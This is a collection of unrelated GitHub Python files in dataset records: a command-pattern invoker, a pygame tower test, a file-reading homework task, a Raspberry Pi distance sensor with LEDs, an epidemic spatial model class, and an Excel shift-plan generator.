{"seq_id":"33041467519","text":"from command import Command\n\n\nclass Invoker():\n    \"\"\"\n    The Invoker does not work with any receviers directly, only through Command objects.\n    \"\"\"\n    _on_start: Command\n    _on_finish: Command\n\n    def __init__(self, on_start: Command, on_finish: Command) -> None:\n        self._on_start = on_start\n        self._on_finish = on_finish\n\n    def invoke(self) -> None:\n        print(\"Running 'On start' commands...\")\n        if isinstance(self._on_start, Command):\n            self._on_start.execute()\n\n        print(\"Processing middle part of the application (omitted here).\")\n\n        print(\"Running 'On finish' commands...\")\n        if isinstance(self._on_finish, Command):\n            self._on_finish.execute()\n","repo_name":"jan-r-dev/Design-Patterns-in-Code","sub_path":"behavioral/command/python/invoker.py","file_name":"invoker.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"39839145947","text":"import pygame, sys\n\nfrom game.common.yaml_parsing import YAMLInstancer\nfrom game.subsystems.environment import *\nfrom game.subsystems.entities import *\nfrom pygame.locals import *\nfrom game.common.math import *\n\nBROWN = (150, 75, 0)\nLIGHTBROWN = (181, 101, 29)\nBLACK = (0,0,0)\nRED = (255,0,0)\n\nenv = Environment()\nDISPLAYSURF = pygame.display.set_mode((100 * len(env.board), 100 * len(env.board[0])))\n\ntest_yaml = open('./towerTest.yaml').read()\ntest_yaml2 = open('./towerTestEnemy.yaml').read()\ntower1 = YAMLInstancer.get_single(test_yaml, Tower)\nenemy1 = YAMLInstancer.get_single(test_yaml2, Enemy)\nproj1 = tower1.fire([enemy1])\nprint(enemy1)\nif not proj1 is None:\n    proj1.impact()\nprint(enemy1)\n\n","repo_name":"veggiebob/tower-defense-pygame","sub_path":"game/testing/towerTest.py","file_name":"towerTest.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"70935603664","text":"\"\"\"\nWrite a function that gets file path as an argument.\nRead the first line of the file.\nIf first line is a number return true if number in an interval [1, 3)*\nand false otherwise.\nIn case of any error, a ValueError should be thrown.\n\nWrite a test for that function using pytest library.\n\nDefinition of done:\n - function is created\n - function is properly formatted\n - function has positive and negative tests\n - all temporary files are removed after test run\n\nYou will learn:\n - how to test Exceptional cases\n - how to clean up after tests\n - how to check if file exists**\n - how to handle*** and raise**** exceptions in test. Use sample from the documentation.\n\n* https://en.wikipedia.org/wiki/Interval_(mathematics)#Terminology\n** https://docs.python.org/3/library/os.path.html\n*** https://docs.python.org/3/tutorial/errors.html#handling-exceptions\n**** https://docs.python.org/3/tutorial/errors.html#raising-exceptions\n\"\"\"\n\n\nimport os\nimport sys\nfrom typing import Callable\n\n\ndef file_producer(text: str):\n    with open(\"temporary.txt\", \"w\") as f:\n        f.write(text)\n\n    def my_wrapper(func: Callable):\n        output = func(\"temporary.txt\")\n        f.close()\n        os.remove(\"temporary.txt\")\n        return output\n\n    return my_wrapper\n\n\ndef read_magic_number_only_value_error(path: str) -> bool:\n    try:\n        with open(path, \"r\") as fi:\n            return is_useful_number(float(fi.readline().strip()))\n    except:\n        raise ValueError(\"Somthing came wrong.\")\n\n\ndef is_useful_number(number: float) -> bool:\n    return 1 <= number < 3\n\n\nif __name__ == \"__main__\":\n    ...\n","repo_name":"Amudah41/EPAM_homeworks","sub_path":"hw4/tasks/task41_read_file.py","file_name":"task41_read_file.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"36975245445","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Feb  7 13:44:34 2019\r\n\r\n@author: m_taran\r\n\"\"\"\r\n\r\nclass HalfCard:\r\n    \r\n    #2 options for color and dot codes\r\n    #1) nothing = 0, white = 1, emptyDot = 2, red = 3, filledDot = 4\r\n    #2) nothing = 0, white = 1, emptyDot = 1, red = 2, filledDot = 2\r\n    def __init__(self, c, d, n):\r\n        self.color = c\r\n        self.dot = d\r\n        self.neighbor = n\r\n    \r\n    def setValues(self, col, d, neigh):\r\n        self.color = col\r\n        self.dot = d\r\n        self.neighbor = neigh\r\n    \r\n    def display(self):\r\n        print(self.color,\" \",self.dot,\" \",self.neighbor)\r\n        \r\n    def copyCard(self,card):\r\n        self.color = card.color\r\n        self.dot = card.dot\r\n        self.neighbor = card.neighbor\r\n\r\n    def __str__(self):\r\n        if(self.color == 1 and self.dot == 1):\r\n            return(\"WE\")\r\n        elif(self.color == 1 and self.dot == 2):\r\n            return(\"WF\")\r\n        elif(self.color == 2 and self.dot == 1):\r\n            return(\"RE\")\r\n        elif(self.color == 2 and self.dot == 2):\r\n            return(\"RF\")\r\n        else:\r\n            return(\"--\")\r\n","repo_name":"Talark/polite-double-card","sub_path":"HalfCard.py","file_name":"HalfCard.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"23819410464","text":"from flask import Flask, render_template, request\nfrom MachineLearningCode import MachineLearningCode\n\n# apps initializations\napp = Flask(__name__)\nprint(\"Flask app initialized\")\nMLC = MachineLearningCode()\n\n\n# routes definitions\n\n@app.route('/')\n@app.route('/home')\ndef hello_world():\n    print(\"Hello World!\")\n    return render_template(\"index.html\")\n\n\n@app.route('/predict', methods=['POST'])\ndef predictandoutput():\n    text1 = request.form[\"text1\"]\n    text2 = request.form[\"text2\"]\n    \n    Result = MLC.predict(text1,text2)\n    return render_template(\"result.html\", similarity_score=Result)\n\n\n# app run\nif __name__ == '__main__':\n    app.run(debug=True, port=5001)\n","repo_name":"Flakes342/precily_semantic_textual_similarity","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"7480700167","text":"from matplotlib import pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom Eir.utility import Person\r\nimport Eir.utility as u\r\nimport multiprocessing as mp\r\n\r\nimport Eir.exceptions as e\r\n\r\n\r\nclass Spatial:\r\n    \"\"\"\r\n        Abstract Class used to for static spatial models. \r\n\r\n        Attributes\r\n        ----------\r\n\r\n        popsize : int\r\n            the number of people in the population \r\n        \r\n        pss: float\r\n            0 <= pss <= 1. Represents the probability that a person is a super spreader.\r\n        \r\n        rstart: float\r\n            the spreading radius of a normal person\r\n        \r\n        alpha: int\r\n            constant in the exponent of the w(r) formula, which is used to calculate the probability of \r\n            an infectious person infecting a susceptible person.\r\n        \r\n        side: float\r\n            the length of the side of the continuous plane in which the people are in. For example, if \r\n            side=50, then the plane is a square with corners at (0,0), (50,0), (50,50), (0,50).\r\n\r\n        S0: int\r\n            the starting number of susceptible people in the simulation.\r\n\r\n        I0: int\r\n            the starting number of infectious people in the simulation. \r\n        \r\n        days: int\r\n            the number of days the simulation lasts for. \r\n        \r\n        w0: float, optional\r\n            the starting probability if the distance between an infectious person and susceptible person is 0.\r\n            The probability is initialized to 1.0 if no value is passed. \r\n        \r\n        locx: ndarray\r\n            a numpy array with length of popsize that contains randomly generated points for the x-coordinates\r\n            of every person.\r\n        \r\n        locy: ndarray\r\n            a numpy array with length of popsize that contains randomly generated points for the y-coordinates\r\n            of every person.\r\n    \"\"\"\r\n    def __init__(self, popsize: int, pss: float, rstart: float, alpha: int, side: float, S0: int, I0: int, days: int, w0=1.0):\r\n        \r\n        # the total size of the closed population\r\n        self.popsize = popsize\r\n        # the probability that a person is a super spreader\r\n        self.pss = pss\r\n        # the starting spreading radius of an infectious perosn\r\n        self.rstart = rstart\r\n        # the normal probability constant that is used in Fujie & Odagaki paper infect function\r\n        self.alpha = alpha\r\n        # one side of the plane of the simulation\r\n        self.side = side\r\n        # initial susceptibles, initial infecteds\r\n        self.S0, self.I0 = S0, I0\r\n        # make the data structure that makes it easy to look up different things rather than using sets\r\n        self.Scollect, self.Icollect = [], []\r\n        # initialize the starting probability when 0 units from infectious person\r\n        self.w0 = w0\r\n        # number of days\r\n        self.days = days\r\n        # create the arrays storing the number of people in each state on each day\r\n        self.S, self.I = np.zeros(days+1), np.zeros(days+1)\r\n        # initialize for day 0\r\n        self.S[0], self.I[0] = S0, I0\r\n        # create an array of correspond x and y coordinates for popsize number of people\r\n        # the infected person will be at locx[0] and locy[0]\r\n        self.locx = np.random.rand(popsize) * side\r\n        self.locy = np.random.rand(popsize) * side\r\n\r\n\r\n\r\n    # will be inherited from Hub and Strong Infectious classes and implemented there\r\n    def _infect(self, inf: Person, sus: Person):\r\n        \"\"\"\r\n        Method that determines how the probability of infection is calculated. Formulas are different\r\n        for Hub model and Strong Infectious model. \r\n\r\n        Parameters\r\n        ----------\r\n        inf: Person\r\n            represents the infectious person. His spreading radius(normal or super spreader) will be used\r\n            when calculating the probability of infection.\r\n        \r\n        sus: Person\r\n            represents the susceptible person.\r\n\r\n        Returns\r\n        -------\r\n\r\n        float: \r\n            represents the probability of infectious person infecting the susceptible person.\r\n        \"\"\"\r\n        return 0.0\r\n\r\n    def _statechange(self):\r\n        pass\r\n\r\n    def negValCheck(self, vals: list):\r\n        \"\"\"\r\n        Checks to make sure that values are non-negative\r\n        \"\"\"\r\n        for val in vals:\r\n            if val < 0:\r\n                raise e.NegativeValException(val)\r\n    \r\n    def probValCheck(self, probs: list):\r\n        \"\"\"Checks to make sure probability values are 0<=p<=1\"\"\"\r\n        for p in probs:\r\n            # if the value is less than 0\r\n            if p < 0:\r\n                raise e.ProbabilityException(p, False)\r\n            # if the value is greater than 1\r\n            elif p > 1:\r\n                raise e.ProbabilityException(p, True)\r\n        \r\n    def intCheck(self, nums:list):\r\n        for num in nums:\r\n            if type(num) != int:\r\n                raise e.NotIntException(num)\r\n    \r\n    def floatCheck(self, nums:list):\r\n        for num in nums:\r\n            if type(num) != int and type(num) != float:\r\n                raise e.NotFloatException(num)\r\n","repo_name":"mjacob1002/Eir","sub_path":"Eir/DTMC/spatialModel/spatial.py","file_name":"spatial.py","file_ext":"py","file_size_in_byte":5165,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"47"}
{"seq_id":"43009249154","text":"#import sys\r\nimport time\r\nimport RPi.GPIO as GPIO\r\n\r\n# note to myself ---> OBRATI PAZNJU NA RAZMAKE\r\n\r\nGPIO.setmode(GPIO.BCM) #gledaju se GPIO brojevi \r\n\r\n#definisani pinovi (GPIO)\r\nTriger = 23\r\nEko = 24\r\nled_crvena = 18\r\nled_zelena = 25\r\nled_zuta = 8\r\nled_zuta1 = 7\r\n#---------------\r\n\r\n#definisanje pinova INPUT ili OUTPUT\r\nGPIO.setup(Triger, GPIO.OUT)\r\nGPIO.setup(Eko, GPIO.IN)\r\nGPIO.setup(led_crvena, GPIO.OUT)\r\nGPIO.setup(led_zelena,GPIO.OUT)\r\nGPIO.setup(led_zuta,GPIO.OUT)\r\nGPIO.setup(led_zuta1,GPIO.OUT)\r\nGPIO.output(led_crvena,False)\r\nGPIO.output(led_zelena,False)\r\nGPIO.output(led_zuta,False)\r\nGPIO.output(led_zuta1,False)\r\n\r\n#--------------------------------\r\n\r\n#funkcija za razdaljinu\r\ndef razdaljina():\r\n\r\n    GPIO.output(Triger,True)\r\n    #0.01ms\r\n    time.sleep(0.00001)\r\n    GPIO.output(Triger,False)\r\n    \r\n    #kada je Eko pin primio signal logicke 1? \r\n    PulsPocetak = time.time()\r\n    PulsPrimljen = time.time()\r\n\r\n    while GPIO.input(Eko) == 0:\r\n        PulsPocetak = time.time()\r\n    while GPIO.input(Eko) == 1:\r\n        PulsPrimljen = time.time()\r\n\r\n    #razlika u vremenu od 0 (dok je ECHO pin LOW) do 1 (dok je ECHO pin HIGH) da bi dobili koliko je zapravo trajao puls\r\n    trajanje_pulsa = PulsPrimljen - PulsPocetak\r\n    razdaljina = (trajanje_pulsa * 34300) / 2\r\n\r\n    return razdaljina\r\n#-----------------------------------------\r\n\r\nif __name__ == '__main__':\r\n    try:\r\n     while True:\r\n\r\n         #test program\r\n         \r\n         razda = razdaljina()\r\n        \r\n             \r\n         print (\"%.1f cm\" %razda)\r\n         time.sleep(0.3)\r\n \r\n         #---------------------------\r\n\r\n    #Nastavak zadatka ...\r\n         \r\n         if(razda<20):\r\n             GPIO.output(led_crvena,True)\r\n             GPIO.output(led_zuta,False)\r\n             GPIO.output(led_zuta1,False)\r\n             GPIO.output(led_zelena,False)\r\n             time.sleep(0.3)\r\n         if(razda<18):\r\n             \r\n             GPIO.output(led_crvena,False)\r\n             GPIO.output(led_zuta,True)\r\n             GPIO.output(led_zuta1,False)\r\n             GPIO.output(led_zelena,False)\r\n             time.sleep(0.3)\r\n         if(razda>22):\r\n             GPIO.output(led_crvena,False)\r\n             GPIO.output(led_zuta1,True)\r\n             GPIO.output(led_zuta,False)\r\n             GPIO.output(led_zelena,False)\r\n             time.sleep(0.3)\r\n         if(razda >=18 and razda<=22):\r\n             GPIO.output(led_crvena,False)\r\n             GPIO.output(led_zuta,False)\r\n             GPIO.output(led_zuta1,False)\r\n             GPIO.output(led_zelena,True)\r\n             time.sleep(0.3)\r\n\r\n\r\n    #----------------------------\r\n    \r\n    #Prekinemo pomocu CTRL + C     \r\n    except KeyboardInterrupt:\r\n        print(\"Merenje zaustavljeno\")\r\n        GPIO.cleanup()\r\n","repo_name":"PillDealBro/rasp","sub_path":"B8.py","file_name":"B8.py","file_ext":"py","file_size_in_byte":2767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"18011708618","text":"\"\"\"\nCopy Rights, All Rights Reserved 2020\nFile name: shift_load_excel.py\n\nDescription: \nScript collects the parsed user inputs (shift plan data from UI) in the form of python dict object\nand appends the contents to the excel sheet.\n\nCode Changes:\nRelease Date    Revision Date   Changes By      Description\n------------    -------------   -----------     ------------\n                August 2020     Sabarish AC         Initial\n                August 2020     Sayan H          Code Updation\n\"\"\"\nimport pandas as pd\nfrom openpyxl import load_workbook, Workbook\nfrom openpyxl.styles import Alignment, colors\nimport os\nimport sys\nsys.path.append('C:\\\\ctpt\\\\ctpt-backup\\\\resource_integrate\\\\backend')\nsys.path.append('C:\\\\ctpt\\\\ctpt-backup\\\\resource_integrate')\nfrom format_excel import formatExcel\nfrom util import util\n\nconst = util.excelConstants()\ncfg = util.get_conf()\n\nclass ACCShiftPlan():\n    def __init__(self, asso_list, *args):\n        proj_dir = os.path.dirname(os.path.abspath(__file__))\n        #self.excel_file = os.path.join(proj_dir, 'CTPT ACC SHIFT PLAN.xlsx')\n        self.log = util.get_logger_obj()\n        self.associates = asso_list\n        #self.accPlan = asso_acc_list\n        #self.offPlan = asso_off_list\n        #self.assos_roaster_plan = assos_roaster_plan    # dict with key ('asso_plan') and values (dates in tuples)\n        self.team = args[0]            \n        self.month = args[1]\n        self.year = args[2]\n        self.shore = args[3]\n        self.excel_file = '-'.join([args[0], 'ACC', 'SHIFT', 'PLAN.xlsx'])\n        self.sheetName = '-'.join([self.team, self.year])\n        self.format_excel_inst = formatExcel(self.excel_file, self.sheetName)\n\n    \"\"\"\n    Save the excel dataframe to excel workbook.\n    \"\"\"\n    def __save__(self, wb_inst):\n        wb_inst.save(self.excel_file)\n\n    \"\"\"\n    Fetch the existing dataframe contents fron the excel workbook.\n    \"\"\"\n    def __existing_dataframe__(self):\n        self.ex_df = pd.read_excel(self.excel_file, sheet_name=self.sheetName, engine='openpyxl')\n        return self.ex_df\n    \n    \"\"\"\n    Check if excel sheet exists, if not, creates a new excel sheet\n    \"\"\"\n    def check_excel_exists(self):\n        if not os.path.exists(self.excel_file):\n            # If file not exists, create excel using pandas.\n            self.log.info('Excel file not existing!!, Creating....')\n            self.create_excel()\n            self.log.info('File created....')\n        return True\n\n    \"\"\"\n    Create if excel file has the given sheet names.\n    \"\"\"\n    def check_excel_sheet_exists(self, wb_inst):\n        # Check if given sheet is present else create the sheet.\n        if self.sheetName not in wb_inst.sheetnames:\n            wb_inst.create_sheet(self.sheetName)\n            # Save the excel file.\n            self.__save__(wb_inst)\n        # Just ensure excel has sheets (that you defined..)\n        wb_existing = Workbook()\n        self.log.debug('Listing out sheets present in the excel: ', self.excel_file)\n        self.log.debug('Worksheets: ', wb_existing)\n        for sheet in wb_existing:\n            self.log.debug('Sheets Present in excel file are: ', sheet.title)\n\n    \"\"\"\n    Create Excel if not exists.\n    \"\"\"\n    def create_excel(self):\n        initial_excel = Workbook()        \n        if self.sheetName:\n            self.log.debug('Adding user defined sheet name: ', str(self.sheetName))\n            initial_excel.create_sheet(self.sheetName, 0)    # Insert at first position.\n            self.log.debug('Remove default sheet name..')\n            initial_excel.remove(initial_excel['Sheet'])\n        initial_excel.save(self.excel_file)\n\n    \"\"\"\n    Function to add overall shift plan headers for a month.\n    \"\"\"\n    def add_headers_to_sheet(self):\n        self.log.debug('MONTH : ' + self.month)\n        if util.generate_month_days(self.month):\n            days_list = util.generate_month_days(self.month)\n            self.log.debug('days in month: ' + str(self.month) + '--> ' + str(days_list[0]))\n            first_headers = ['Month', 'Shore', 'Day Number ->']\n            first_headers.extend(days_list[0])\n            first_headers.append('SHIFT DAYS STATS')\n            pre_req_excel = pd.ExcelWriter(self.excel_file, engine='openpyxl')\n            # We create first header here for the excel. (Month, Shore, Day Number -->, series of day no.s)\n            # We create second header here for the excel. (Team Member, series of Week days)\n            header_df1 = self.create_dataframe_for_headers(first_headers, pre_req_excel)\n            second_header = util.generate_weekdays_for_month(self.year, self.month, len(days_list[0]))\n            header_df2 = self.create_dataframe_for_headers(second_header, pre_req_excel)\n\n            # Create a Pandas Excel writer using XlsxWriter as the engine.\n            excel_writer = pd.ExcelWriter(self.excel_file, engine='openpyxl')\n            # OPen existng workbook\n            excel_writer.book = load_workbook(self.excel_file)\n            # copy the existing contents in sheet\n            excel_writer.sheets = dict((ex_content.title, ex_content) for ex_content in excel_writer.book.worksheets)\n            # Read the excel file\n            existing_df = self.__existing_dataframe__()\n            \n            if existing_df.empty:    # Means, checks if excel is completely empty.\n                self.log.debug('empty excel!!')\n                row_index = 0   # set starting row index to 0.\n            \n            elif existing_df.columns.values.all() and self.month:\n                row_index = len(existing_df)+3   # set starting row index to 0.\n            # Fill the headers to excel (2 rows are filled)\n            header_df1.to_excel(excel_writer, sheet_name=self.sheetName, index=False, header=True, startrow=row_index)\n            header_df2.to_excel(excel_writer, sheet_name=self.sheetName, index=False, header=True, startrow=row_index+1, startcol=2)            \n            excel_writer.save()\n            # Now perform excel formatting on saved headers.\n            self.do_formatting_to_headers(days_list[0], header_df1)\n\n    \"\"\"\n    Formats the Excel Headers with merging, bordering and color highlighting.\n    \"\"\"\n    def do_formatting_to_headers(self, month_days, h_df):\n        self.format_excel_inst.merge_required_header_cell(column_size=len(h_df.columns))\n        _new_ex_df = self.__existing_dataframe__()\n        # Evaluate month days last index.\n        _month_end_col_index = const.THIRD_COLUMN + len(util.generate_month_days(self.month)[0])\n        # Number of shift category sum.\n        _shift_sum_cols = len(cfg.get('shift_category')) # Adding 2 columns (Night & Evening Shifts)\n        # Start index for shift category sum.\n        _start_index_shift_sum = _month_end_col_index + 1\n        # Evaluate shift category sum's last index.\n        _shift_sum_end_index = _start_index_shift_sum + _shift_sum_cols\n        # Start index for shift category hours.\n        _start_index_shift_hours = _shift_sum_end_index + 1\n        _indices_switcher = {\n            31: _shift_sum_end_index + 1,\n            30: _shift_sum_end_index,\n            29: _shift_sum_end_index - 1,\n            28: _shift_sum_end_index - 2\n        }\n        # Evaluate Shift Category Hours SUm Last Index.\n        _end_index_shift_hours = _start_index_shift_hours + _shift_sum_cols\n        self.format_excel_inst.set_background_color_multicells(srow=len(_new_ex_df), erow=len(_new_ex_df)+1, scol=const.FIRST_COLUMN \\\n            , ecol=const.SECOND_COLUMN, BGColor=const.HCOL1_TO_HCOL2)\n        self.format_excel_inst.set_background_color_multicells(srow=len(_new_ex_df), erow=len(_new_ex_df)+1, scol=const.THIRD_COLUMN \\\n            , ecol=const.THIRD_COLUMN, BGColor=const.HCOL3)\n        self.format_excel_inst.set_background_color_multicells(srow=len(_new_ex_df), erow=len(_new_ex_df)+1, scol=const.FOURTH_COLUMN \\\n        , ecol=_month_end_col_index, BGColor=const.HMONTH_DAYS)\n        self.format_excel_inst.set_background_color_multicells(srow=len(_new_ex_df), erow=len(_new_ex_df), scol=_start_index_shift_sum, \\\n            ecol=_shift_sum_end_index, BGColor=const.HSHIFT_SUM)\n        self.format_excel_inst.set_background_color_multicells(srow=len(_new_ex_df)+1, erow=len(_new_ex_df)+1, scol=_start_index_shift_sum, \\\n            ecol=_shift_sum_end_index, BGColor=const.HSHIFT_SUM_PARAMS)\n        self.format_excel_inst.set_background_color_multicells(srow=len(_new_ex_df)+1, erow=len(_new_ex_df)+1, scol=_indices_switcher[len(month_days)], \\\n            ecol=_end_index_shift_hours, BGColor=const.HSHIFT_SUM_PARAMS)\n\n    \"\"\"\n    Staticmethod (No Relationship With Class): Create Dataframe for the given column headers.\n    \"\"\"\n    @staticmethod\n    def create_dataframe_for_headers(headers, excel_writer):\n        days_keys_dict = dict.fromkeys(headers, None)\n        # Create dataframe object for headers.\n        dump_pre_reqs_df = pd.DataFrame(columns=headers)\n        return dump_pre_reqs_df\n\n    \"\"\"\n    Function to fill respective associate shift to respective cells (based on day number).\n    \"\"\"\n    def fill_shift_row_cells(self, shift_df=None, shift_type='LEAVE', asso_name='Sabarish AC', start_row=2):\n        __pos_index = cfg['shift_category'].index(shift_type) + 1\n        self.log.debug('Positional index for ' + str(shift_type) + \" is \" + str(__pos_index))\n        self.format_excel_inst.fill_cell_values(col=3, row=start_row, value=asso_name)\n        print(f'dataframe for final shift plan to fill in excel : {shift_df}')\n        for key, val in shift_df.items():\n            self.format_excel_inst.fill_cell_values(col=(const.column_start + int(key)), row=start_row, \\\n                value=val, shift=shift_type)\n        self.fill_shift_sum_row_cells(shift_df, shift_type, asso_name, start_row=start_row, ps_index=__pos_index)\n\n    \"\"\"\n    Function to fill respective associate shift sum to respective cell.\n    \"\"\"\n    def fill_shift_sum_row_cells(self, sh_df, sh_type, name, start_row=2, ps_index=0, shift_val=0):\n        _ex_df = self.__existing_dataframe__()\n        # Flag to evaluate shift category hours.\n        _shift_hour = ''\n        if sh_type in const.SHIFT_CATEGORY_HOURS:\n            _shift_hour = '-'.join([sh_type, 'HOURS'])\n        # Initialize _is_df flag to True, If no specific shift exists for an associate -> set it to False.\n        _is_df = True\n        days_in_month = util.generate_month_days(self.month)\n        if not sh_df: # and sh_type!='LEAVE' and sh_type!='HOLIDAY':\n            _is_df = False  # Setting flag to False as there are no shift plan existing.\n            self.log.critical(f'No {sh_type} plan given for associate id: {str(name)}')\n        # Fetch the counts of each shifts (ACC, NACC, EACC, GEN, OFF, LEAVE)\n        _shift_count = util.fetch_shift_counts(dataframe=_ex_df, df_exists=_is_df)\n        # SUM INDEX FOR ACC, GEN HOURS\n        col_sum_index = const.column_start + len(days_in_month[0]) + ps_index\n        # TOTAL SHIFT HOURS ON ALL SHIFTS\n        col_hours_index = col_sum_index + len(cfg['shift_category'])\n        # SUM INDEX FOR NACC & EACC SHIFT HOURS.\n        col_nacc_eacc_index = col_sum_index + 4\n        self.log.debug(f'col sum index : {col_sum_index}')\n        self.log.debug(f'col hours index : {col_hours_index}')\n        # Evaluate column index for associate total hours for the month (ACC, NACC, EACC & GEN)\n        col_total_hours_index = const.column_start + len(days_in_month[0]) + len(cfg['shift_category']) + 5\n        self.format_excel_inst.fill_cell_values(col=col_sum_index, row=start_row, value=_shift_count[sh_type], shift=sh_type)\n        # Fill Shift Category (ACC, NACC, EACC & GEN) hours\n        if _shift_hour:\n            # Using Ternary Operator to fill sum hour values for NACC/EACC & ACC/GEN.\n            self.format_excel_inst.fill_cell_values(col=col_nacc_eacc_index, row=start_row, value=_shift_count[_shift_hour],\n                shift=sh_type)  if sh_type==cfg.get('shift_category')[5] or sh_type==cfg.get('shift_category')[6] else \\\n                self.format_excel_inst.fill_cell_values(col=col_hours_index, row=start_row, value=_shift_count[_shift_hour], \n                    shift=sh_type)\n            self.format_excel_inst.fill_cell_values(col=col_total_hours_index, row=start_row, value=_shift_count['TOTAL-HOURS'], \n                shift=sh_type, bgcolor=const.HSHIFT_TOTAL_HOURS)\n        self.log.debug(f'Filled Cells with {sh_type} to excel!!')\n\n    \"\"\"\n    Convert user shift plan to object dictionary.\n    \"\"\"\n    def convert_to_shift_dict(self, shift_plan='', gen_shift_keys=[], gen_shift_values=[]):\n        _ex_df = self.__existing_dataframe__()\n        # shift_plan --> format: ['1A', '2A', .... '7G']\n        if not gen_shift_keys and not gen_shift_values:\n            shift_k = [int(shft.split(':')[0]) for idx, shft in enumerate(shift_plan.split(' ')) if shft.split(':')[0].isdigit()]\n            shift_v = [shft for shft in shift_plan if shft!=' ' and shft!=':' and not shft.isdigit()]            \n            shift_dict = dict(zip(shift_k, shift_v))\n        # For generating general key-value pair dict.            \n        elif gen_shift_keys and gen_shift_values:\n            shift_dict = dict(zip(gen_shift_keys, gen_shift_values))\n        else:\n            shift_dict = {}\n        return shift_dict\n\n    \"\"\"\n    Append the associate shift plan to excel workbook (Avoid overwritting)\n    \"\"\"\n    def append_contents_to_excel(self, asso_id, acc_plan, nacc_plan, eacc_plan, off_plan, leave_plan, tcs_holiday_plan):\n        print(f'evening shift plan : {eacc_plan}')\n        __asso_name = self.associates[asso_id]\n        self.log.info(f'Appending contents for associate Name: {str(__asso_name)}, ID: {str(asso_id)}')\n        _ex_df = self.__existing_dataframe__()\n        #_acc = self.convert_to_shift_dict(shift_plan=self.accPlan[asso_id])\n        self.log.debug(f'Filling ACC Plan for associate id: {str(__asso_name)}, ID: {str(asso_id)}, ACC Plan: {acc_plan}')\n        # Fill the cells with corresponding associates shifts.\n        self.fill_shift_row_cells(shift_df=acc_plan, shift_type=cfg.get('shift_category')[0], asso_name=self.associates[asso_id], start_row=len(_ex_df)+2)\n        #_off = self.convert_to_shift_dict(self.offPlan[asso_id])\n        # Fill Night Shift Plans.\n        self.fill_shift_row_cells(shift_df=nacc_plan, shift_type=cfg.get('shift_category')[5], asso_name=self.associates[asso_id], start_row=len(_ex_df)+2)\n        self.log.debug(f'Filling NACC Plan for associate Name: {str(__asso_name)}, id: {str(asso_id)}, NACC Plan: {nacc_plan}')\n        # Fill Evening Shift Plans.\n        self.fill_shift_row_cells(shift_df=eacc_plan, shift_type=cfg.get('shift_category')[6], asso_name=self.associates[asso_id], start_row=len(_ex_df)+2)\n        self.log.debug(f'Filling EACC Plan for associate Name: {str(__asso_name)}, id: {str(asso_id)}, EACC Plan: {eacc_plan}')\n        # Fill OFF Plans\n        self.log.debug(f'Filling OFF Plan for associate Name: {str(__asso_name)}, id: {str(asso_id)}, OFF Plan: {off_plan}')\n        self.fill_shift_row_cells(shift_df=off_plan, shift_type=cfg.get('shift_category')[2], asso_name=self.associates[asso_id], start_row=len(_ex_df)+2)\n        # Fill LEAVE Plans\n        self.log.debug(f'Filling LEAVE Plan for associate Name: {str(__asso_name)}, id: {str(asso_id)}, LEAVE Plan: {leave_plan}')\n        self.fill_shift_row_cells(shift_df=leave_plan, shift_type=cfg.get('shift_category')[3], asso_name=self.associates[asso_id], start_row=len(_ex_df)+2)\n        # Fill HOLIDAY Plans\n        self.log.debug(f'Filling HOLIDAY Plan for associate Name: {str(__asso_name)}, id: {str(asso_id)}, HOLIDAY Plan: {tcs_holiday_plan}')\n        self.fill_shift_row_cells(shift_df=tcs_holiday_plan, shift_type=cfg.get('shift_category')[4], asso_name=self.associates[asso_id], start_row=len(_ex_df)+2)\n        # Collect the days that has ACC, OFF, LEAVE & TCS_HOLIDAY shifts.\n        _AOLHList = list(acc_plan.keys()) + list(off_plan.keys()) + list(nacc_plan.keys()) + list(eacc_plan.keys()) + list(leave_plan.keys()) + list(tcs_holiday_plan.keys())\n        # Collect the days in a month.\n        days_in_month = util.generate_month_days(self.month)\n        # Find the difference b/w these 2 lists to collect remaining days as 'General' shifts.\n        _gen_k = list(set(days_in_month[0]).difference(_AOLHList))\n        _gen_v = ['G' for _k in _gen_k]\n        _gen = self.convert_to_shift_dict(gen_shift_keys=_gen_k, gen_shift_values=_gen_v)\n        self.log.debug(f'Filling GENERAL Plan for associate Name: {str(__asso_name)}, id: {str(asso_id)}, GENERAL Plan: {_gen}')\n        self.fill_shift_row_cells(shift_df=_gen, shift_type=cfg.get('shift_category')[1], asso_name=self.associates[asso_id], start_row=len(_ex_df)+2)\n        # Assign column index to fill sum of each shifts (default_col + no. of days in month + next cell)\n        #_fill_shift_sum_column = const.column_start + len(days_in_month[0]) + 1\n\n        if asso_id==len(self.associates)-1:\n            self.format_excel_inst.merge_required_row_cells(asso_sum=len(self.associates), col=1, \\\n                value=self.month.upper(), month_days=len(days_in_month[0]))\n            self.format_excel_inst.merge_required_row_cells(asso_sum=len(self.associates), col=2, \\\n                value=self.shore.upper(), month_days=len(days_in_month[0]))\n        self.log.info(f'Associate Name: {str(__asso_name)}, ID: {str(asso_id)}: Appended Successfully!!')\n","repo_name":"gunasundarigithub/resource_integrate","sub_path":"backend/shift_load_excel.py","file_name":"shift_load_excel.py","file_ext":"py","file_size_in_byte":17449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
